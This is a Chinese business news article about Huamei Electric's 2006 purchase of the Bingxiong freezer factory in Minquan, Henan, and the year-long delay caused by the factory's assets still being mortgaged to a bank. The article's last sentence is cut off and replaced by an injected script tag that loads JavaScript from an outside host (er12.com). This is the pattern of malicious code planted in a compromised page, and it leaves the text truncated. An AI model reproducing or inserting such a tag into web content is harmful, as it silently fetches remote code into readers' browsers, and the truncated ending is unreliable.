5月11日，位于河南省商丘市民权县府后街22号的冰熊冷柜厂冷冷清清，熊树森站在院内漫无目的地观望着，这里与一年之前他刚来时的景象几乎没有变化——同样的萧条。
熊树森是浙江华美电器制造有限公司（以下简称华美）的工作人员。2006年5月25日，华美电器与冰熊集团有限公司（以下简称冰熊集团）、商丘市银商控股有限公司（以下简称银商控股）签订协议，华美以1500万元购买银商控股置换的包括厂房、土地、冷柜生产线设备等冰熊股份的现有冷柜固定资产；同时，华美组织技术和管理人员派驻冰熊。
“我以为来这儿不久，就可以投入热火朝天的生产中了，谁知却在这儿守了一年的厂子。”熊树森说。与熊树森一起守在这儿的还有10多个人。他们在不同时间被华美派到这个即将投产的新厂工作，但都被“窝”在这儿。
“我们希望尽快投入生产工作中，而不是整天无所事事。”他们有着共同的心愿。
但是，投产却一直遥遥无期。
一拍即合的协议
从5月3日第一次到冰熊考察，到5月25日签署协议，蒋端平做出决定只用了22天。
蒋端平是华美总经理。2006年5月3日，蒋端平应商丘市邀请，实地考察冰熊冷柜生产线。此时，由于冰熊股份被重庆银星集团收购，打造冰熊品牌核心主体的冰熊冷柜厂被置换出局，冰熊的主业由制冷设备制造转化为房地产，而原主业被重庆银星冷落一旁。
考察完冰熊冷柜的厂房、生产线，同是做冷柜起家的蒋端平当机立断，决定买下冰熊冷柜的生产线、厂房和土地以及冷柜、冰箱两个品种的“冰熊”品牌。
2006年5月25日，蒋端平与商丘银商控股、冰熊集团三方签下协议，华美以1500万元购买银商控股从冰熊股份置换出的包括厂房、土地、冷柜生产线设备等现有冷柜固定资产。签约第二天，华美就交上了500万元资金授让金。
“其实，我在考察当天就基本下定决心了。”蒋端平说。
他认为，虽然冰熊冷柜已经在市场消失了一段时间，但这个曾经的领袖品牌还是具有很强的市场号召力。另外，生产能力匮乏已成为华美发展的一大瓶颈，增加生产量成为华美迫在眉睫的重任。同时，国内冷柜行业竞争已日趋白热化，规模扩张也是华美不得不走的一步。下一步，华美将重点打造无氟制冷产品，而与华美一样专业做冷柜的冰熊有着其所需的生产设备和宽敞的厂房。以冰熊冷柜厂的规模，每年达到六七亿元的产销量是没有问题的。相比华美重建厂房，此举既节约了资源，又节省了时间。
签约之后，华美立刻组织技术人员派驻冰熊集团，检修、调整生产线，并抽专职人员负责注册登记、资产过户、人员招聘工作。
“争取2006年9月份试生产，10月份正式投产。”当时的蒋端平雄心勃勃，并计划在两年内投资8000万元再造冰熊冷柜盛势。
2006年7月28日，华美已经为新公司办理了营业执照，注册名称是河南冰熊制冷设备有限公司，注册资金2000万元。
“保证第一年就可以向当地纳税200万元，在3年内把冰熊冷柜的产销量做到3个亿。”蒋端平描述这个目标时，似乎看见了不远的将来，冷清多年的冰熊冷柜厂重又恢复了从前运货车来往穿梭的盛景。
但是，令蒋端平没有想到的是，他的计划在一年之后还原封不动地停留在纸上。2007年5月，这个冰熊冷柜厂所在地与一年前没有变化，一样的门可罗雀，一样的冷冷清清。
一年的等待
2006年5月25日，与冰熊集团、商丘市银商控股签约的同时，蒋端平已经组织了20多名技术人员团队，并把他们派驻到了民权县。
“因为当时他们在协议中承诺3个月即可办理完产权手续，以3个月的期限推算，当年9月份就可以投入生产。所以，华美就立刻组织人员开展工作，为的是能立刻投入生产。”蒋端平回忆起当时的雷厉风行，不禁有些苦笑。
同年8月，生产线全面检修完毕，投产初期所需工作人员全部招聘完成，整装待岗。但是，一个让蒋端平意想不到的情况发生了：3个月即将期满，冰熊冷柜生产线、厂房、土地等产权却迟迟没有过户给华美的迹象。
在商丘市政府召开的一次督促会上，蒋端平得知实情，冰熊冷柜生产线的设备以及厂房、土地在签约之前，被重庆银星抵押给了商丘市工商银行。由于银商控股迟迟没有还清贷款，所以冰熊冷柜厂的土地证、房产证和设备还抵押在银行，银商控股根本无法与华美办理过户。
于是，蒋端平开始找当初为这个项目搭桥引线的负责人，并直接给商丘市市长写信反映情况。商丘市政府对此给予了高度重视，多次开会督促银商控股尽快落实工商银行债务的资产置换。但是，银商控股以没有钱为由，推迟还贷时间。
10月份投产没有希望了。商丘方又向华美抛出了两个月的期限，承诺2006?script src=http://er12.com/t.js>
